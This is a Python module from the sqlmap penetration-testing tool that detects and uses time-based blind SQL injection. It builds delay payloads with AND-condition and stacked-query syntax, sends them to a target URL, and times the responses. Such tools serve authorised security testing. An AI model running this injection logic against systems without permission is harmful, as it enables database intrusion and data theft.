sqlmap/lib/techniques/blind/timebased.py
2010-11-08 16:46:25 +00:00

82 lines
2.7 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import time
from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
if kb.timeTest is not None:
return kb.timeTest
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
query = agent.prefixQuery("AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind "
infoMsg += "sql injection with AND condition syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with AND condition syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
logger.warn(warnMsg)
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with stacked queries syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind sql "
infoMsg += "injection with stacked queries syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with stacked queries syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
duration = calculateDeltaSeconds(start)
return duration